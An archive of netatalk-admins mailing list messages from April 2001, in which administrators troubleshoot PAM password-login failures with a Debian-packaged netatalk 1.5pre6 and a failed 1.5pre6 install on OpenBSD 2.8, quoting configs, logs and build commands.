etc/pam.d/netatalk
    #%PAM-1.0
    auth       required /lib/security/pam_pwdb.so shadow
    account    required /lib/security/pam_pwdb.so 
    #password   required    /lib/security/pam_cracklib.so
    #password   required    /lib/security/pam_pwdb.so shadow use_authtok
    session    required /lib/security/pam_pwdb.so 
    
syslog:

14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on 6.218:128
(1.5pre6)
14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2) (1.5pre6)
14:24:37 hopnet2 afpd[29078]: uam : Loading
(/etc/netatalk/uams/uams_clrtxt.so)
14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available

....

14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
x.x.x.247:49456(0)
14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
    <--- no note of failed login!


From netatalk.administrators-errors@umich.edu  Mon Apr 23 11:48:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA17739
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 11:48:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22186
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 11:48:50 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22170
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 11:48:48 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA22100
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 11:48:46 -0400 (EDT)
Received: (qmail 28451 invoked by alias); 23 Apr 2001 15:48:59 -0000
Received: (qmail 28440 invoked by uid 0); 23 Apr 2001 15:48:59 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 15:48:59 -0000
Subject: Re: "Password incorrect" problems
From: Matthew Keller <kellermg@potsdam.edu>
To: Rory Campbell-Lange <rory@campbell-lange.net>
Cc: netatalk-admins@umich.edu,
        Netatalk-Devel List <netatalk-devel@lists.sourceforge.net>
In-Reply-To: <20010423155538-r01010600-19af27f7@194.159.148.247>
References: <20010423155538-r01010600-19af27f7@194.159.148.247>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 11:48:52 -0400
Message-Id: <988040932.4234.21.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


1) You sure the password is correct? ;)
2) If you're using PAM (as it looks like you are) are you sure that
netatalk is compiled with --with-pam?.. Hmmm... Looks like you installed
from a package. That's why I can't stand packages, you never know what
flags were used at compile time. *hurumph*

I forget who the .DEB maintainer is - Perhaps he/she can mention a word?
Sorry for the cross-post: Trying to nail down a solution.

On 23 Apr 2001 15:19:39 +0100, Rory Campbell-Lange wrote:
> Thanks for everyone's help getting me onto 1.5pre6. I have eventually
> got 1.5pre6 installed from deb.
> 
> I'm having trouble getting errors "sorry your password is incorrect.
> Please reenter it" when the user treetop tries to log on. I've had the
> same problem with the other 1.5pre releases I've installed from deb.
> 
> The 1.4b2+asun release I replaced did not have these problems.
> 
> --------------------------------------------------------------------------
> 
> atalkd.conf:
>     no contents
> afpd.conf
>     "Penquin" -uamlist uams_clrtxt.so
> AppleVolumes.default
>     /home/treetop/test "Test" 
>     
> etc/pam.d/netatalk
>     #%PAM-1.0
>     auth       required /lib/security/pam_pwdb.so shadow
>     account    required /lib/security/pam_pwdb.so 
>     #password   required    /lib/security/pam_cracklib.so
>     #password   required    /lib/security/pam_pwdb.so shadow use_authtok
>     session    required /lib/security/pam_pwdb.so 
>     
> syslog:
> 
> 14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on 6.218:128
> (1.5pre6)
> 14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2) (1.5pre6)
> 14:24:37 hopnet2 afpd[29078]: uam : Loading
> (/etc/netatalk/uams/uams_clrtxt.so)
> 14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
> 14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available
> 
> ....
> 
> 14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
> x.x.x.247:49456(0)
> 14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
> 14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
> 14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
>     <--- no note of failed login!
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 12:07:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18480
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 12:07:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA22232
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 12:07:37 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA22225
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 12:07:37 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA22168
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 12:07:35 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 7996B2C656; Mon, 23 Apr 2001 11:07:42 -0500 (CDT)
Date: Mon, 23 Apr 2001 11:07:42 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: Matthew Keller <kellermg@potsdam.edu>
Cc: Rory Campbell-Lange <rory@campbell-lange.net>, netatalk-admins@umich.edu,
        Netatalk-Devel List <netatalk-devel@lists.sourceforge.net>
Subject: Re: "Password incorrect" problems
Message-ID: <20010423110742.J7184@newwww.teleologic.net>
References: <20010423155538-r01010600-19af27f7@194.159.148.247> <988040932.4234.21.camel@comp10574.potsdam.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <988040932.4234.21.camel@comp10574.potsdam.edu>; from kellermg@potsdam.edu on Mon, Apr 23, 2001 at 11:48:52AM -0400
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

ldd `which afppasswd` | grep pam

replace `which afppasswd` with the path to whatever binary you want to
look at.

--Danny

Matthew wrote regarding 'Re: "Password incorrect" problems' on Mon, Apr 23 at 10:56:
> 
> 1) You sure the password is correct? ;)
> 2) If you're using PAM (as it looks like you are) are you sure that
> netatalk is compiled with --with-pam?.. Hmmm... Looks like you installed
> from a package. That's why I can't stand packages, you never know what
> flags were used at compile time. *hurumph*
> 
> I forget who the .DEB maintainer is - Perhaps he/she can mention a word?
> Sorry for the cross-post: Trying to nail down a solution.
> 
> On 23 Apr 2001 15:19:39 +0100, Rory Campbell-Lange wrote:
> > Thanks for everyone's help getting me onto 1.5pre6. I have eventually
> > got 1.5pre6 installed from deb.
> > 
> > I'm having trouble getting errors "sorry your password is incorrect.
> > Please reenter it" when the user treetop tries to log on. I've had the
> > same problem with the other 1.5pre releases I've installed from deb.
> > 
> > The 1.4b2+asun release I replaced did not have these problems.
> > 
> > --------------------------------------------------------------------------
> > 
> > atalkd.conf:
> >     no contents
> > afpd.conf
> >     "Penquin" -uamlist uams_clrtxt.so
> > AppleVolumes.default
> >     /home/treetop/test "Test" 
> >     
> > etc/pam.d/netatalk
> >     #%PAM-1.0
> >     auth       required /lib/security/pam_pwdb.so shadow
> >     account    required /lib/security/pam_pwdb.so 
> >     #password   required    /lib/security/pam_cracklib.so
> >     #password   required    /lib/security/pam_pwdb.so shadow use_authtok
> >     session    required /lib/security/pam_pwdb.so 
> >     
> > syslog:
> > 
> > 14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on 6.218:128
> > (1.5pre6)
> > 14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2) (1.5pre6)
> > 14:24:37 hopnet2 afpd[29078]: uam : Loading
> > (/etc/netatalk/uams/uams_clrtxt.so)
> > 14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
> > 14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available
> > 
> > ....
> > 
> > 14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
> > x.x.x.247:49456(0)
> > 14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
> > 14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
> > 14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
> >     <--- no note of failed login!
> > 
> > 
> 
> -- 
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
> 
> http://mattwork.potsdam.edu/
> 

From netatalk.administrators-errors@umich.edu  Mon Apr 23 13:00:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA20152
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 13:00:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13568
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 13:00:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13551
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 13:00:43 -0400 (EDT)
Received: from relay.mail.pipex.net (relay.mail.pipex.net [158.43.128.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA13508
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 13:00:41 -0400 (EDT)
Received: (qmail 7527 invoked from network); 23 Apr 2001 16:47:11 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by relay.mail.pipex.net with SMTP; 23 Apr 2001 16:47:11 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP
	id 6D0181A004; Mon, 23 Apr 2001 17:44:15 +0100 (BST)
Date: Mon, 23 Apr 2001 17:46:18 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: "Password incorrect" problems
To: Danny Sauer <dsauer@teleologic.net>
Cc: netatalk-admins@umich.edu, Matthew Keller <kellermg@potsdam.edu>
X-Priority: 3
In-Reply-To: <20010423110742.J7184@newwww.teleologic.net>
Message-ID: <20010423174630-r01010600-91bd02fb@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

Thanks for the mails, Danny & Matthew

ldd /usr/sbin/afpd | grep pam
    libpam.so.0 => /lib/libpam.so.0 (0x4012f000)

ldd /usr/sbin/afpd | grep pam
    libpam.so.0 => /lib/libpam.so.0 (0x4012f000)

I'll ask Sebastian, the package maintainer, if he can shed some light on
the packaging settings.

On 23/4/01, kellermg@potsdam.edu (Matthew Keller) wrote:

> 
> 1) You sure the password is correct? ;)
> 2) If you're using PAM (as it looks like you are) are you sure that
> netatalk is compiled with --with-pam?.. Hmmm... Looks like you
> installed from a package. That's why I can't stand packages, you never
> know what flags were used at compile time. *hurumph*
> 
> I forget who the .DEB maintainer is - Perhaps he/she can mention a
> word? Sorry for the cross-post: Trying to nail down a solution.
> 
> On 23 Apr 2001 15:19:39 +0100, Rory Campbell-Lange wrote:
> > Thanks for everyone's help getting me onto 1.5pre6. I have
> > eventually got 1.5pre6 installed from deb.
> > 
> > I'm having trouble getting errors "sorry your password is incorrect.
> > Please reenter it" when the user treetop tries to log on. I've had
> > the same problem with the other 1.5pre releases I've installed from
> > deb.
> > 
> > The 1.4b2+asun release I replaced did not have these problems.
> > 
> >
--------------------------------------------------------------------------
> > 
> > atalkd.conf:
> >     no contents
> > afpd.conf
> >     "Penquin" -uamlist uams_clrtxt.so
> > AppleVolumes.default
> >     /home/treetop/test "Test" 
> >     
> > etc/pam.d/netatalk
> >     #%PAM-1.0
> >     auth       required /lib/security/pam_pwdb.so shadow
> >     account    required /lib/security/pam_pwdb.so 
> >     #password   required    /lib/security/pam_cracklib.so
> >     #password   required    /lib/security/pam_pwdb.so shadow
use_authtok
> >     session    required /lib/security/pam_pwdb.so 
> >     
> > syslog:
> > 
> > 14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on
> > 6.218:128
> > (1.5pre6)
> > 14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2)
> > (1.5pre6) 14:24:37 hopnet2 afpd[29078]: uam : Loading
> > (/etc/netatalk/uams/uams_clrtxt.so)
> > 14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
> > 14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available
> > 
> > ....
> > 
> > 14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
> > x.x.x.247:49456(0)
> > 14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
> > 14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
> > 14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
> >     <--- no note of failed login!

From netatalk.administrators-errors@umich.edu  Mon Apr 23 13:21:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA20789
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 13:21:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12149
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 13:21:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12135
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 13:21:45 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA12092
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 13:21:43 -0400 (EDT)
Received: (qmail 6356 invoked by alias); 23 Apr 2001 17:21:49 -0000
Received: (qmail 6343 invoked by uid 0); 23 Apr 2001 17:21:48 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 23 Apr 2001 17:21:48 -0000
Subject: Re: "Password incorrect" problems
From: Matthew Keller <kellermg@potsdam.edu>
To: Rory Campbell-Lange <rory@campbell-lange.net>
Cc: netatalk-admins@umich.edu
In-Reply-To: <20010423174630-r01010600-91bd02fb@194.159.148.247>
References: <20010423174630-r01010600-91bd02fb@194.159.148.247>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.11.08.00 (Preview Release)
Date: 23 Apr 2001 13:21:43 -0400
Message-Id: <988046503.4235.23.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    That's enough to confirm that it's compiled with PAM support. *sigh*

    Anyone else using the .DEB's and either working ok, or not? Anyone
    on a Debian based system compiling from source and have feedback?

On 23 Apr 2001 17:46:18 +0100, Rory Campbell-Lange wrote:
> Thanks for the mails, Danny & Matthew
> 
> ldd /usr/sbin/afpd | grep pam
>     libpam.so.0 => /lib/libpam.so.0 (0x4012f000)
> 
> ldd /usr/sbin/afpd | grep pam
>     libpam.so.0 => /lib/libpam.so.0 (0x4012f000)
> 
> I'll ask Sebastian, the package maintainer, if he can shed some light on
> the packaging settings.
> 
> On 23/4/01, kellermg@potsdam.edu (Matthew Keller) wrote:
> 
> > 
> > 1) You sure the password is correct? ;)
> > 2) If you're using PAM (as it looks like you are) are you sure that
> > netatalk is compiled with --with-pam?.. Hmmm... Looks like you
> > installed from a package. That's why I can't stand packages, you never
> > know what flags were used at compile time. *hurumph*
> > 
> > I forget who the .DEB maintainer is - Perhaps he/she can mention a
> > word? Sorry for the cross-post: Trying to nail down a solution.
> > 
> > On 23 Apr 2001 15:19:39 +0100, Rory Campbell-Lange wrote:
> > > Thanks for everyone's help getting me onto 1.5pre6. I have
> > > eventually got 1.5pre6 installed from deb.
> > > 
> > > I'm having trouble getting errors "sorry your password is incorrect.
> > > Please reenter it" when the user treetop tries to log on. I've had
> > > the same problem with the other 1.5pre releases I've installed from
> > > deb.
> > > 
> > > The 1.4b2+asun release I replaced did not have these problems.
> > > 
> > >
> --------------------------------------------------------------------------
> > > 
> > > atalkd.conf:
> > >     no contents
> > > afpd.conf
> > >     "Penquin" -uamlist uams_clrtxt.so
> > > AppleVolumes.default
> > >     /home/treetop/test "Test" 
> > >     
> > > etc/pam.d/netatalk
> > >     #%PAM-1.0
> > >     auth       required /lib/security/pam_pwdb.so shadow
> > >     account    required /lib/security/pam_pwdb.so 
> > >     #password   required    /lib/security/pam_cracklib.so
> > >     #password   required    /lib/security/pam_pwdb.so shadow
> use_authtok
> > >     session    required /lib/security/pam_pwdb.so 
> > >     
> > > syslog:
> > > 
> > > 14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on
> > > 6.218:128
> > > (1.5pre6)
> > > 14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2)
> > > (1.5pre6) 14:24:37 hopnet2 afpd[29078]: uam : Loading
> > > (/etc/netatalk/uams/uams_clrtxt.so)
> > > 14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
> > > 14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available
> > > 
> > > ....
> > > 
> > > 14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
> > > x.x.x.247:49456(0)
> > > 14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
> > > 14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
> > > 14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
> > >     <--- no note of failed login!
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Mon Apr 23 13:50:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA21754
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 13:50:01 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25189
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 13:49:52 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25160
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 13:49:52 -0400 (EDT)
Received: from mhub7.tc.umn.edu (mhub7.tc.umn.edu [160.94.151.218])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA25101
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 13:49:50 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub7.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 12:49:22 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 23 Apr 2001 12:49:22 -0500
Date: Mon, 23 Apr 2001 12:49:22 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: 1.5pre6 not installing on OpenBSD 2.8
Message-Id: <Pine.SOL.4.20.0104231221280.14804-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


I've downloaded from sourceforge the 1.5pre6 tarball.

After reading the "Install path problems in Debian" thread, I'm using this
configure:

# ./configure --prefix=/usr/local \
      --with-config-dir=/usr/local/etc \
      --with-ssl-dir=/usr > install.txt

./configure[5119]: AUTHORS: not found


# gmake >> install.txt

uam.c: In function `uam_afpserver_option': 
uam.c:324: warning: assignment makes pointer from integer without a cast
file.c:1615: 
warning: mktemp() possibly used unsafely; consider using
mkstemp() magics.c: In function `cm_psadobe': magics.c:111: 
warning: initialization from incompatible pointer type magics.c:132: 
[about 30 more similar lines]

#gmake install >> install.txt

Makefile:374: warning: overriding commands for target `install-strip'
Makefile:304: warning: ignoring old commands for target `install-strip'
Makefile:382: warning: overriding commands for target `clean-recursive'
...


When I reboot the machine, the daemons don't start, but fail silently. 
 
More info:

in my /var/log/messages: 

.
starting local daemons:. 
starting appletalk daemons: . 
.


my rc.local:

echo -n 'starting appletalk daemons:' 
echo ' . '


if [ -x :SBINDIR:/atalkd ]; then
#       :SBINDIR:/atalkd -f /etc/atalk/atalkd.conf;     echo -n ' atalkd'
        :SBINDIR:/atalkd;       echo -n ' atalkd'
fi

if [ -x :BINDIR:/nbprgstr ]; then
        :BINDIR:/nbprgstr -p 4 `hostname|sed 's/\..*$//'`:Workstation
        :BINDIR:/nbprgstr -p 4 `hostname|sed 's/\..*$//'`:netatalk
                                echo -n ' nbprgstr'
fi

if [ -x :SBINDIR:/afpd ]; then
#       :SBINDIR:/afpd -G;              echo -n ' afpd'
        :SBINDIR:/afpd;                 echo -n ' afpd'
fi


[all timelord stuff commented out]

dmesg | grep -i Apple doesn't give me anything.

My Makefile:

SHELL = /bin/sh
srcdir = .
top_srcdir = .
prefix = /usr/local
exec_prefix = ${prefix}

bindir = ${exec_prefix}/bin
...


and in /usr/local/etc/ my afpd.conf at the moment is the default, with
everything commented out. My AppleVolumes.default is this:

~
/home/public    "Public Fileshare"

and my atalkd.conf is this

fxp0

this line usually gets populated on the first reboot, but this time is
not.


I have no idea what this might be (although I just got a sneaking
suspicion it's to do with my other unix machines...), anyone have any
suggestions on where to turn from here?

I've repeatedly run
gmake clean, but gmake distclean and gmake uninstall both don't work.

I -do- have 1.4b2+asun2.1.3 running successfully on this machine, those
binaries are in /usr/local/atalk though, and the config files are
somewhere else too.


I have that install.txt file to which I logged all of my
.configure/gmake/gmake install outputs, if anyone wants it.

Any other useful info I can send along?

Sincerely,

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |                         
University of Mn            |  Enter any 11-digit prime
Minneapolis, MN 55455       |     number to continue...
(612) 624-6541              |                         
*                                                     *




From netatalk.administrators-errors@umich.edu  Mon Apr 23 14:29:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA23115
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 23 Apr 2001 14:29:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02155
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 23 Apr 2001 14:29:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA02133
	for netatalk.administrators-members@umich.edu; Mon, 23 Apr 2001 14:29:48 -0400 (EDT)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA02035
	for <netatalk-admins@umich.edu>; Mon, 23 Apr 2001 14:29:47 -0400 (EDT)
Received: from wm145-202.resnet.wm.edu (wm145-202.resnet.wm.edu [128.239.202.145])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id OAA08677;
	Mon, 23 Apr 2001 14:29:14 -0400 (EDT)
Subject: Re: "Password incorrect" problems
From: Rob Lineweaver <rbline@wm.edu>
To: Matthew Keller <kellermg@potsdam.edu>
Cc: Rory Campbell-Lange <rory@campbell-lange.net>, netatalk-admins@umich.edu
In-Reply-To: <988046503.4235.23.camel@comp10574.potsdam.edu>
References: <20010423174630-r01010600-91bd02fb@194.159.148.247> 
	<988046503.4235.23.camel@comp10574.potsdam.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 23 Apr 2001 14:29:54 -0400
Message-Id: <988050595.728.0.camel@twain>
Mime-Version: 1.0


>     That's enough to confirm that it's compiled with PAM support. *sigh*
> 
>     Anyone else using the .DEB's and either working ok, or not? Anyone
>     on a Debian based system compiling from source and have feedback?

I've had success with 1.5pre6 compiled from source on Debian/m68k
unstable.  Configured with:

./configure --prefix=/usr/local --with-config-dir=/etc/atalk
--with-uams-path=/etc/atalk/uams --with-msg-dir=/etc/atalk/msg
--enable-lastdid  --with-pam --with-shadow --with-tcp-wrappers
--with-ssl

I'm not sure if the --with-shadow is necessary or not but it might be
something to try (it's probably in the .deb anyway, but I've never used
the deb).  I would recommend compiling from source with the above (or
similar) configuration to see if that fixes it.

Also, I'm wondering why the original poster was only allowing cleartext
logins.  Is there some reason you actively don't want uams_dhx.so?

Which appleshare client(s) are you using?

good luck,

Rob Lineweaver
:)

> On 23 Apr 2001 17:46:18 +0100, Rory Campbell-Lange wrote:
> > Thanks for the mails, Danny & Matthew
> > 
> > ldd /usr/sbin/afpd | grep pam
> >     libpam.so.0 => /lib/libpam.so.0 (0x4012f000)
> > 
> > ldd /usr/sbin/afpd | grep pam
> >     libpam.so.0 => /lib/libpam.so.0 (0x4012f000)
> > 
> > I'll ask Sebastian, the package maintainer, if he can shed some light on
> > the packaging settings.
> > 
> > On 23/4/01, kellermg@potsdam.edu (Matthew Keller) wrote:
> > 
> > > 
> > > 1) You sure the password is correct? ;)
> > > 2) If you're using PAM (as it looks like you are) are you sure that
> > > netatalk is compiled with --with-pam?.. Hmmm... Looks like you
> > > installed from a package. That's why I can't stand packages, you never
> > > know what flags were used at compile time. *hurumph*
> > > 
> > > I forget who the .DEB maintainer is - Perhaps he/she can mention a
> > > word? Sorry for the cross-post: Trying to nail down a solution.
> > > 
> > > On 23 Apr 2001 15:19:39 +0100, Rory Campbell-Lange wrote:
> > > > Thanks for everyone's help getting me onto 1.5pre6. I have
> > > > eventually got 1.5pre6 installed from deb.
> > > > 
> > > > I'm having trouble getting errors "sorry your password is incorrect.
> > > > Please reenter it" when the user treetop tries to log on. I've had
> > > > the same problem with the other 1.5pre releases I've installed from
> > > > deb.
> > > > 
> > > > The 1.4b2+asun release I replaced did not have these problems.
> > > > 
> > > >
> > --------------------------------------------------------------------------
> > > > 
> > > > atalkd.conf:
> > > >     no contents
> > > > afpd.conf
> > > >     "Penquin" -uamlist uams_clrtxt.so
> > > > AppleVolumes.default
> > > >     /home/treetop/test "Test" 
> > > >     
> > > > etc/pam.d/netatalk
> > > >     #%PAM-1.0
> > > >     auth       required /lib/security/pam_pwdb.so shadow
> > > >     account    required /lib/security/pam_pwdb.so 
> > > >     #password   required    /lib/security/pam_cracklib.so
> > > >     #password   required    /lib/security/pam_pwdb.so shadow
> > use_authtok
> > > >     session    required /lib/security/pam_pwdb.so 
> > > >     
> > > > syslog:
> > > > 
> > > > 14:24:37 hopnet2 afpd[29078]: Penquin:AFPServer@* started on
> > > > 6.218:128
> > > > (1.5pre6)
> > > > 14:24:37 hopnet2 afpd[29078]: ASIP started on x.x.x.x:548(2)
> > > > (1.5pre6) 14:24:37 hopnet2 afpd[29078]: uam : Loading
> > > > (/etc/netatalk/uams/uams_clrtxt.so)
> > > > 14:24:37 hopnet2 afpd[29078]: uam: uams_clrtxt.so loaded
> > > > 14:24:37 hopnet2 afpd[29078]: uam: "Cleartxt Passwrd" available
> > > > 
> > > > ....
> > > > 
> > > > 14:53:16 hopnet2 afpd[29140]: ASIP session:548(2) from
> > > > x.x.x.247:49456(0)
> > > > 14:53:16 hopnet2 afpd[29140]: cleartext login: treetop
> > > > 14:53:16 hopnet2 afpd[29140]: 0.08KB read, 0.07KB written
> > > > 14:53:16 hopnet2 afpd[29078]: server_child[1] 29140 done
> > > >     <--- no note of failed login!



From netatalk.administrators-errors@umich.edu  Mon Apr 23 14:34:34 2001
